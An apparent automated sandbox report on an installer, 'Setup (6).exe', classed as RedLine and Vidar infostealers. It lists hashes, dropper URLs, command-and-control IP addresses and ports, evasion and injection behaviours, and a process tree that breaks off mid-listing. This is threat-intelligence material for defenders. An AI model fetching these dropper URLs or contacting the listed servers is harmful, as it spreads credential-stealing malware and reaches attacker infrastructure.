redline | 1cd649ea4273fd977b6a350bfe8f3b62f1d0aee1408b9966aa3d6ad39ba5af6a

Target

Setup (6).exe
Size

631KB
MD5

cb927513ff8ebff4dd52a47f7e42f934
SHA1

0de47c02a8adc4940a6c18621b4e4a619641d029
SHA256

fd5c970806fba1500cbb6af5328329aeb43b8de3f02d90ec5d8cd1d57711622f
SHA512

988c8fd886a9155b7d190faf2ce6b34d910efcffcf1c6251f18a9d0c804a0ea26a89679273033ac98b200363c536426efd1ae9de445c34e660369abb06f0071c

Score

10^/10

redline vidar 1 bratanchikaye norman2 spnewportspectr discovery evasion infostealer spyware stealer themida trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://kmsauto.us/1/fix.txt

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://ia601409.us.archive.org/7/items/fixmix_fix_4348843584358435/fixmix_fix_4348843584358435.txt

Extracted

Family

redline

Botnet

bratanchikAYE

45.14.49.232:63850

Extracted

Family

redline

Botnet

spnewportspectr

135.148.139.222:1594

Extracted

Family

redline

Botnet

37.0.8.88:44263

Extracted

Family

redline

Botnet

NORMAN2

45.14.49.184:27587

Signatures

Modifies Windows Defender Real-time Protection settings 3 TTPs
evasion trojan

Modify Registry
T1112

Modify Existing Service
T1031

Disabling Security Tools
T1089

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	7428	6760	rundll32.exe	265

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine Payload 37 IoCs

resource	yara_rule
behavioral28/files/0x000100000001ab77-153.dat	family_redline
behavioral28/files/0x000100000001ab77-196.dat	family_redline
behavioral28/memory/4712-272-0x000000000041C5BE-mapping.dmp	family_redline
behavioral28/memory/4736-271-0x0000000000400000-0x0000000000422000-memory.dmp	family_redline
behavioral28/memory/4712-269-0x0000000000400000-0x000000000044A000-memory.dmp	family_redline
behavioral28/memory/4736-275-0x000000000041C5EE-mapping.dmp	family_redline
behavioral28/memory/4748-278-0x000000000041C5CA-mapping.dmp	family_redline
behavioral28/memory/4748-273-0x0000000000400000-0x0000000000422000-memory.dmp	family_redline
behavioral28/memory/4848-311-0x000000000041C5BE-mapping.dmp	family_redline
behavioral28/memory/4736-304-0x00000000052E0000-0x00000000058E6000-memory.dmp	family_redline
behavioral28/memory/5076-332-0x000000000041C5EE-mapping.dmp	family_redline
behavioral28/memory/5088-333-0x000000000041C5CA-mapping.dmp	family_redline
behavioral28/memory/4472-346-0x000000000041C5BE-mapping.dmp	family_redline
behavioral28/memory/4568-356-0x000000000041C5EE-mapping.dmp	family_redline
behavioral28/memory/4472-371-0x00000000050A0000-0x00000000056A6000-memory.dmp	family_redline
behavioral28/memory/216-377-0x000000000041C5CA-mapping.dmp	family_redline
behavioral28/memory/4568-378-0x0000000004E70000-0x0000000005476000-memory.dmp	family_redline
behavioral28/memory/4928-386-0x000000000041C5BE-mapping.dmp	family_redline
behavioral28/memory/216-390-0x0000000005280000-0x0000000005886000-memory.dmp	family_redline
behavioral28/memory/5044-396-0x000000000041C5EE-mapping.dmp	family_redline
behavioral28/memory/5024-395-0x000000000041C5CA-mapping.dmp	family_redline
behavioral28/memory/4328-413-0x000000000041C5BE-mapping.dmp	family_redline
behavioral28/memory/4700-417-0x000000000041C5EE-mapping.dmp	family_redline
behavioral28/memory/5024-418-0x0000000005780000-0x0000000005D86000-memory.dmp	family_redline
behavioral28/memory/4700-445-0x0000000004E90000-0x0000000005496000-memory.dmp	family_redline
behavioral28/memory/1708-444-0x000000000041C5EE-mapping.dmp	family_redline
behavioral28/memory/5020-438-0x000000000041C5CA-mapping.dmp	family_redline
behavioral28/memory/4500-483-0x000000000041C5EE-mapping.dmp	family_redline
behavioral28/memory/4348-472-0x000000000041C5CA-mapping.dmp	family_redline
behavioral28/memory/180-457-0x000000000041C5BE-mapping.dmp	family_redline
behavioral28/memory/5284-531-0x000000000041C5BE-mapping.dmp	family_redline
behavioral28/memory/5368-539-0x000000000041C5CA-mapping.dmp	family_redline
behavioral28/memory/5488-546-0x000000000041C5EE-mapping.dmp	family_redline
behavioral28/memory/5692-566-0x000000000041C5CA-mapping.dmp	family_redline
behavioral28/memory/5988-585-0x000000000041C5BE-mapping.dmp	family_redline
behavioral28/memory/6096-596-0x000000000041C5CA-mapping.dmp	family_redline
behavioral28/memory/5100-607-0x000000000041C5EE-mapping.dmp	family_redline

Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Vidar Stealer 3 IoCs

stealer

resource	yara_rule
behavioral28/memory/2004-290-0x00000000008C0000-0x0000000000993000-memory.dmp	family_vidar
behavioral28/memory/2004-313-0x0000000000400000-0x0000000000593000-memory.dmp	family_vidar
behavioral28/memory/5076-365-0x0000000004D10000-0x0000000005316000-memory.dmp	family_vidar

Downloads MZ/PE file

Executes dropped EXE 62 IoCs

pid	Process
2612	gAGvU24xGek1TFAxSrdgDCIO.exe
3724	QDg5Y60Vu2T4nXY5u_A_CjCt.exe
3220	mTokwuJapzhhNsN4ytbXnIHc.exe
684	5Y1zGx2oVOi4zEY7x5jDgltW.exe
3624	KrmP1mLpzH5rbN4MHqlYjMiL.exe
1804	rpgmPz1plOgWB3aRJOr4RxzC.exe
3336	sXjKcKnrBVHAWZJaR4tpkjK2.exe
1544	QS2it3BFw8Dl8mZfdeRe2eO6.exe
2004	aIwhPlsBPJ4cwwZaHO_bYDB2.exe
2760	gsK_Wp3_CKkOMJ_p3JA4_9TH.exe
488	CEXKAZNfaTWQfVMNOJjOc2lA.exe
3900	p93W2DDPm7DS5SeLqDlO0Rfa.exe
3664	Jo7xa6ZWfG_yjuQ0lKOxh7SS.exe
2416	9Ty4mWx4KdsibdIgUB5O3bER.exe
1084	Xy62JiiDBtpS777hnafDA0H3.exe
2364	XNhnlXpHxIu015AbY9niQ9Zp.exe
3512	0bWlk5VbXfdlAH_pqcBYu_9W.exe
1828	qY9xz1N5hlJqzbLut_bB53jL.exe
2808	Dc_anJp6Ri7RI4L3JUkstWp1.exe
1200	eXVGTDEJYPAUxTeG2N9Jlkwk.exe
3596	sRCklHR2e__b4Fg2CV6Hdovz.exe
2148	uDb_R3p2ShAvIFcROwQCMO5F.exe
3004	u3vUFlZZCtVjoov2wLv1c9_x.exe
2172	dLZfFGsOVmKpItau0y8vxwBq.exe
204	Rspwir2DxQKYhzpSzEO11YB0.exe
2388	sXjKcKnrBVHAWZJaR4tpkjK2.tmp
4712	QDg5Y60Vu2T4nXY5u_A_CjCt.exe
4736	QS2it3BFw8Dl8mZfdeRe2eO6.exe
4748	uDb_R3p2ShAvIFcROwQCMO5F.exe
4888	QS2it3BFw8Dl8mZfdeRe2eO6.exe
4848	QDg5Y60Vu2T4nXY5u_A_CjCt.exe
4908	uDb_R3p2ShAvIFcROwQCMO5F.exe
5076	QS2it3BFw8Dl8mZfdeRe2eO6.exe
5088	uDb_R3p2ShAvIFcROwQCMO5F.exe
4472	QDg5Y60Vu2T4nXY5u_A_CjCt.exe
4428	cutm3.exe
4568	QS2it3BFw8Dl8mZfdeRe2eO6.exe
4776	uDb_R3p2ShAvIFcROwQCMO5F.exe
216	uDb_R3p2ShAvIFcROwQCMO5F.exe
384	WerFault.exe
4928	QDg5Y60Vu2T4nXY5u_A_CjCt.exe
5044	QS2it3BFw8Dl8mZfdeRe2eO6.exe
5024	uDb_R3p2ShAvIFcROwQCMO5F.exe
4328	QDg5Y60Vu2T4nXY5u_A_CjCt.exe
4596	uDb_R3p2ShAvIFcROwQCMO5F.exe
4700	QS2it3BFw8Dl8mZfdeRe2eO6.exe
4500	QS2it3BFw8Dl8mZfdeRe2eO6.exe
5020	uDb_R3p2ShAvIFcROwQCMO5F.exe
4800	inst001.exe
1708	QS2it3BFw8Dl8mZfdeRe2eO6.exe
4428	cutm3.exe
1204	md8_8eus.exe
4644	5Y1zGx2oVOi4zEY7x5jDgltW.exe
180	QDg5Y60Vu2T4nXY5u_A_CjCt.exe
4348	uDb_R3p2ShAvIFcROwQCMO5F.exe
4500	QS2it3BFw8Dl8mZfdeRe2eO6.exe
3396	QDg5Y60Vu2T4nXY5u_A_CjCt.exe
4776	uDb_R3p2ShAvIFcROwQCMO5F.exe
5180	3026962.exe
5284	QDg5Y60Vu2T4nXY5u_A_CjCt.exe
5368	uDb_R3p2ShAvIFcROwQCMO5F.exe
5488	QS2it3BFw8Dl8mZfdeRe2eO6.exe

Checks BIOS information in registry 2 TTPs 4 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	KrmP1mLpzH5rbN4MHqlYjMiL.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	KrmP1mLpzH5rbN4MHqlYjMiL.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Jo7xa6ZWfG_yjuQ0lKOxh7SS.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Jo7xa6ZWfG_yjuQ0lKOxh7SS.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Control Panel\International\Geo\Nation	Setup (6).exe

Loads dropped DLL 2 IoCs

pid	Process
2388	sXjKcKnrBVHAWZJaR4tpkjK2.tmp
2388	sXjKcKnrBVHAWZJaR4tpkjK2.tmp

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Themida packer 6 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral28/files/0x000100000001ab87-127.dat	themida
behavioral28/files/0x000100000001ab92-149.dat	themida
behavioral28/files/0x000100000001ab87-188.dat	themida
behavioral28/files/0x000100000001ab92-190.dat	themida
behavioral28/memory/3624-231-0x0000000001320000-0x0000000001321000-memory.dmp	themida
behavioral28/memory/3664-238-0x0000000000920000-0x0000000000921000-memory.dmp	themida

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 2 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	KrmP1mLpzH5rbN4MHqlYjMiL.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Jo7xa6ZWfG_yjuQ0lKOxh7SS.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 14 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
454	freegeoip.app
466	ipinfo.io
135	ipinfo.io
4055	ipinfo.io
465	freegeoip.app
119	ip-api.com
123	ipinfo.io
446	freegeoip.app
467	ipinfo.io
4698	ipinfo.io
30	ipinfo.io
125	ipinfo.io
449	freegeoip.app
29	ipinfo.io

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
3624	KrmP1mLpzH5rbN4MHqlYjMiL.exe
3664	Jo7xa6ZWfG_yjuQ0lKOxh7SS.exe

Suspicious use of SetThreadContext 22 IoCs

description	pid	Process	procid_target
PID 3724 set thread context of 4712	3724	QDg5Y60Vu2T4nXY5u_A_CjCt.exe	115
PID 1544 set thread context of 4736	1544	QS2it3BFw8Dl8mZfdeRe2eO6.exe	113
PID 2148 set thread context of 4748	2148	uDb_R3p2ShAvIFcROwQCMO5F.exe	114
PID 3724 set thread context of 4848	3724	QDg5Y60Vu2T4nXY5u_A_CjCt.exe	117
PID 1544 set thread context of 5076	1544	QS2it3BFw8Dl8mZfdeRe2eO6.exe	120
PID 2148 set thread context of 5088	2148	uDb_R3p2ShAvIFcROwQCMO5F.exe	119
PID 3724 set thread context of 4472	3724	QDg5Y60Vu2T4nXY5u_A_CjCt.exe	121
PID 1544 set thread context of 4568	1544	QS2it3BFw8Dl8mZfdeRe2eO6.exe	123
PID 2148 set thread context of 216	2148	uDb_R3p2ShAvIFcROwQCMO5F.exe	125
PID 3724 set thread context of 4928	3724	QDg5Y60Vu2T4nXY5u_A_CjCt.exe	127
PID 2148 set thread context of 5024	2148	uDb_R3p2ShAvIFcROwQCMO5F.exe	129
PID 1544 set thread context of 5044	1544	QS2it3BFw8Dl8mZfdeRe2eO6.exe	128
PID 3724 set thread context of 4328	3724	QDg5Y60Vu2T4nXY5u_A_CjCt.exe	130
PID 1544 set thread context of 4700	1544	QS2it3BFw8Dl8mZfdeRe2eO6.exe	132
PID 2148 set thread context of 5020	2148	uDb_R3p2ShAvIFcROwQCMO5F.exe	134
PID 1544 set thread context of 1708	1544	QS2it3BFw8Dl8mZfdeRe2eO6.exe	135
PID 3724 set thread context of 180	3724	QDg5Y60Vu2T4nXY5u_A_CjCt.exe	136
PID 2148 set thread context of 4348	2148	uDb_R3p2ShAvIFcROwQCMO5F.exe	137
PID 1544 set thread context of 4500	1544	QS2it3BFw8Dl8mZfdeRe2eO6.exe	139
PID 3724 set thread context of 5284	3724	QDg5Y60Vu2T4nXY5u_A_CjCt.exe	147
PID 2148 set thread context of 5368	2148	uDb_R3p2ShAvIFcROwQCMO5F.exe	150
PID 1544 set thread context of 5488	1544	QS2it3BFw8Dl8mZfdeRe2eO6.exe	153

Drops file in Program Files directory 8 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe	0bWlk5VbXfdlAH_pqcBYu_9W.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\Uninstall.exe	0bWlk5VbXfdlAH_pqcBYu_9W.exe
File created	C:\Program Files (x86)\Company\NewProduct\Uninstall.ini	0bWlk5VbXfdlAH_pqcBYu_9W.exe
File created	C:\Program Files\Mozilla Firefox\DotNetZip-lnojp5ia.tmp	CEXKAZNfaTWQfVMNOJjOc2lA.exe
File created	C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe	uDb_R3p2ShAvIFcROwQCMO5F.exe
File opened for modification	C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe	uDb_R3p2ShAvIFcROwQCMO5F.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\inst001.exe	0bWlk5VbXfdlAH_pqcBYu_9W.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\cutm3.exe	0bWlk5VbXfdlAH_pqcBYu_9W.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\AppCompat\Programs\Amcache.hve.tmp	WerFault.exe

Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 64 IoCs

pid	pid_target	Process	procid_target
5440	3004	WerFault.exe	106
5452	2808	WerFault.exe	101
5604	1804	WerFault.exe	80
5728	1200	WerFault.exe	107
5908	1804	WerFault.exe	80
5924	2808	WerFault.exe	101
5948	2416	WerFault.exe	97
6020	3004	WerFault.exe	106
6028	1200	WerFault.exe	107
1556	1804	WerFault.exe	80
4972	2808	WerFault.exe	101
5316	1200	WerFault.exe	107
5352	3004	WerFault.exe	106
3112	1804	WerFault.exe	80
2576	2808	WerFault.exe	101
2180	1200	WerFault.exe	107
4980	2416	WerFault.exe	97
6264	1804	WerFault.exe	80
6688	1804	WerFault.exe	80
6800	6384	WerFault.exe	221
6864	1200	WerFault.exe	107
6940	2808	WerFault.exe	101
7096	1804	WerFault.exe	80
6224	1200	WerFault.exe	107
4896	2808	WerFault.exe	101
6380	2808	WerFault.exe	101
5604	1804	WerFault.exe	80
6360	7132	WerFault.exe	236
6720	1200	WerFault.exe	107
6664	2808	WerFault.exe	101
6980	1804	WerFault.exe	80
6204	2416	WerFault.exe	97
6672	1804	WerFault.exe	80
6840	1192	WerFault.exe	257
5680	1804	WerFault.exe	80
6456	3004	WerFault.exe	106
6064	3004	WerFault.exe	106
3572	1804	WerFault.exe	80
7476	1804	WerFault.exe	80
7732	1804	WerFault.exe	80
7384	3004	WerFault.exe	106
7748	7308	WerFault.exe	310
7396	3004	WerFault.exe	106
4276	8920	WerFault.exe	388
984	8576	WerFault.exe	361
7512	2416	WerFault.exe	97
7900	8576	WerFault.exe	361
5632	8576	WerFault.exe	361
1344	2416	WerFault.exe	97
2268	8576	WerFault.exe	361
9336	8576	WerFault.exe	361
9772	8576	WerFault.exe	361
9868	8576	WerFault.exe	361
10132	9608	WerFault.exe	443
9440	9960	WerFault.exe	446
10300	11000	WerFault.exe	475
10180	10356	WerFault.exe	501
9904	7308	WerFault.exe	502
11876	11564	WerFault.exe	522
11404	12596	WerFault.exe	576
14244	13996	WerFault.exe	583
12776	13760	WerFault.exe
14300	15848	WerFault.exe	626
6912	15548	WerFault.exe	636

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
6764	schtasks.exe
4756	schtasks.exe

Delays execution with timeout.exe 2 IoCs

evasion

pid	Process
10140	timeout.exe
10604	timeout.exe

Kills process with taskkill 6 IoCs

evasion

pid	Process
7188	taskkill.exe
7492	taskkill.exe
9008	taskkill.exe
3280	taskkill.exe
8824	taskkill.exe
5712	taskkill.exe

Script User-Agent 4 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	141	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	4624	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	132	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	135	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
860	Setup (6).exe
860	Setup (6).exe
488	CEXKAZNfaTWQfVMNOJjOc2lA.exe
488	CEXKAZNfaTWQfVMNOJjOc2lA.exe
5604	WerFault.exe
5604	WerFault.exe
5604	WerFault.exe
5604	WerFault.exe
5604	WerFault.exe
5604	WerFault.exe
5604	WerFault.exe
5604	WerFault.exe
5604	WerFault.exe
5604	WerFault.exe
5604	WerFault.exe
5604	WerFault.exe
5604	WerFault.exe
5604	WerFault.exe
5604	WerFault.exe
5604	WerFault.exe
5604	WerFault.exe
5604	WerFault.exe
5604	WerFault.exe
5604	WerFault.exe
5604	WerFault.exe
5604	WerFault.exe
5604	WerFault.exe
5452	WerFault.exe
5452	WerFault.exe
5452	WerFault.exe
5452	WerFault.exe
5452	WerFault.exe
5452	WerFault.exe
5452	WerFault.exe
5452	WerFault.exe
5452	WerFault.exe
5452	WerFault.exe
5452	WerFault.exe
5452	WerFault.exe
5452	WerFault.exe
5452	WerFault.exe
5452	WerFault.exe
5452	WerFault.exe
5452	WerFault.exe
5452	WerFault.exe
5452	WerFault.exe
5452	WerFault.exe
5452	WerFault.exe
5452	WerFault.exe
5440	WerFault.exe
5440	WerFault.exe
5452	WerFault.exe
5440	WerFault.exe
5440	WerFault.exe
5440	WerFault.exe
5440	WerFault.exe
5440	WerFault.exe
5440	WerFault.exe
5440	WerFault.exe
5440	WerFault.exe
5440	WerFault.exe
5440	WerFault.exe
5440	WerFault.exe
5440	WerFault.exe

Suspicious use of AdjustPrivilegeToken 14 IoCs

description	pid	Process
Token: SeDebugPrivilege	2760	gsK_Wp3_CKkOMJ_p3JA4_9TH.exe
Token: SeDebugPrivilege	2612	gAGvU24xGek1TFAxSrdgDCIO.exe
Token: SeDebugPrivilege	488	CEXKAZNfaTWQfVMNOJjOc2lA.exe
Token: SeDebugPrivilege	3624	KrmP1mLpzH5rbN4MHqlYjMiL.exe
Token: SeDebugPrivilege	1084	Xy62JiiDBtpS777hnafDA0H3.exe
Token: SeDebugPrivilege	3664	Jo7xa6ZWfG_yjuQ0lKOxh7SS.exe
Token: SeRestorePrivilege	5440	WerFault.exe
Token: SeBackupPrivilege	5440	WerFault.exe
Token: SeRestorePrivilege	5452	WerFault.exe
Token: SeBackupPrivilege	5452	WerFault.exe
Token: SeBackupPrivilege	5452	WerFault.exe
Token: SeDebugPrivilege	5604	WerFault.exe
Token: SeDebugPrivilege	5452	WerFault.exe
Token: SeDebugPrivilege	5440	WerFault.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
2388	sXjKcKnrBVHAWZJaR4tpkjK2.tmp

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 860 wrote to memory of 2612	860	Setup (6).exe	83
PID 860 wrote to memory of 2612	860	Setup (6).exe	83
PID 860 wrote to memory of 3220	860	Setup (6).exe	81
PID 860 wrote to memory of 3220	860	Setup (6).exe	81
PID 860 wrote to memory of 3220	860	Setup (6).exe	81
PID 860 wrote to memory of 1804	860	Setup (6).exe	80
PID 860 wrote to memory of 1804	860	Setup (6).exe	80
PID 860 wrote to memory of 1804	860	Setup (6).exe	80
PID 860 wrote to memory of 3724	860	Setup (6).exe	79
PID 860 wrote to memory of 3724	860	Setup (6).exe	79
PID 860 wrote to memory of 3724	860	Setup (6).exe	79
PID 860 wrote to memory of 3624	860	Setup (6).exe	78
PID 860 wrote to memory of 3624	860	Setup (6).exe	78
PID 860 wrote to memory of 3624	860	Setup (6).exe	78
PID 860 wrote to memory of 684	860	Setup (6).exe	82
PID 860 wrote to memory of 684	860	Setup (6).exe	82
PID 860 wrote to memory of 684	860	Setup (6).exe	82
PID 860 wrote to memory of 3336	860	Setup (6).exe	84
PID 860 wrote to memory of 3336	860	Setup (6).exe	84
PID 860 wrote to memory of 3336	860	Setup (6).exe	84
PID 860 wrote to memory of 1544	860	Setup (6).exe	88
PID 860 wrote to memory of 1544	860	Setup (6).exe	88
PID 860 wrote to memory of 1544	860	Setup (6).exe	88
PID 860 wrote to memory of 2004	860	Setup (6).exe	86
PID 860 wrote to memory of 2004	860	Setup (6).exe	86
PID 860 wrote to memory of 2004	860	Setup (6).exe	86
PID 860 wrote to memory of 2760	860	Setup (6).exe	91
PID 860 wrote to memory of 2760	860	Setup (6).exe	91
PID 860 wrote to memory of 488	860	Setup (6).exe	92
PID 860 wrote to memory of 488	860	Setup (6).exe	92
PID 860 wrote to memory of 488	860	Setup (6).exe	92
PID 860 wrote to memory of 3900	860	Setup (6).exe	93
PID 860 wrote to memory of 3900	860	Setup (6).exe	93
PID 860 wrote to memory of 3900	860	Setup (6).exe	93
PID 860 wrote to memory of 3664	860	Setup (6).exe	94
PID 860 wrote to memory of 3664	860	Setup (6).exe	94
PID 860 wrote to memory of 3664	860	Setup (6).exe	94
PID 860 wrote to memory of 1084	860	Setup (6).exe	98
PID 860 wrote to memory of 1084	860	Setup (6).exe	98
PID 860 wrote to memory of 1084	860	Setup (6).exe	98
PID 860 wrote to memory of 2416	860	Setup (6).exe	97
PID 860 wrote to memory of 2416	860	Setup (6).exe	97
PID 860 wrote to memory of 2416	860	Setup (6).exe	97
PID 860 wrote to memory of 3512	860	Setup (6).exe	99
PID 860 wrote to memory of 3512	860	Setup (6).exe	99
PID 860 wrote to memory of 3512	860	Setup (6).exe	99
PID 860 wrote to memory of 2364	860	Setup (6).exe	95
PID 860 wrote to memory of 2364	860	Setup (6).exe	95
PID 860 wrote to memory of 2364	860	Setup (6).exe	95
PID 860 wrote to memory of 1828	860	Setup (6).exe	100
PID 860 wrote to memory of 1828	860	Setup (6).exe	100
PID 860 wrote to memory of 1828	860	Setup (6).exe	100
PID 860 wrote to memory of 2808	860	Setup (6).exe	101
PID 860 wrote to memory of 2808	860	Setup (6).exe	101
PID 860 wrote to memory of 2808	860	Setup (6).exe	101
PID 860 wrote to memory of 1200	860	Setup (6).exe	107
PID 860 wrote to memory of 1200	860	Setup (6).exe	107
PID 860 wrote to memory of 1200	860	Setup (6).exe	107
PID 860 wrote to memory of 3596	860	Setup (6).exe	104
PID 860 wrote to memory of 3596	860	Setup (6).exe	104
PID 860 wrote to memory of 2148	860	Setup (6).exe	103
PID 860 wrote to memory of 2148	860	Setup (6).exe	103
PID 860 wrote to memory of 2148	860	Setup (6).exe	103
PID 860 wrote to memory of 204	860	Setup (6).exe	105

C:\Users\Admin\AppData\Local\Temp\Setup (6).exe
"C:\Users\Admin\AppData\Local\Temp\Setup (6).exe"
1⤵
- Checks computer location settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:860
- C:\Users\Admin\Documents\KrmP1mLpzH5rbN4MHqlYjMiL.exe
  "C:\Users\Admin\Documents\KrmP1mLpzH5rbN4MHqlYjMiL.exe"
  2⤵
  - Executes dropped EXE
  - Checks BIOS information in registry
  - Checks whether UAC is enabled
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of AdjustPrivilegeToken
  PID:3624
- C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
  "C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:3724
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    - Executes dropped EXE
    PID:4712
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    - Executes dropped EXE
    PID:4848
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    - Executes dropped EXE
    PID:4472
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:4776
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    - Executes dropped EXE
    PID:4928
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    - Executes dropped EXE
    PID:4328
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:4500
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    - Executes dropped EXE
    PID:180
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    - Executes dropped EXE
    PID:5284
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    - Executes dropped EXE
    PID:3396
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:5588
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:5988
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:5576
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:6012
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:4684
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:5124
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:6384
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 6384 -s 24
      4⤵
      Program crash
      PID:6800
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:6788
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
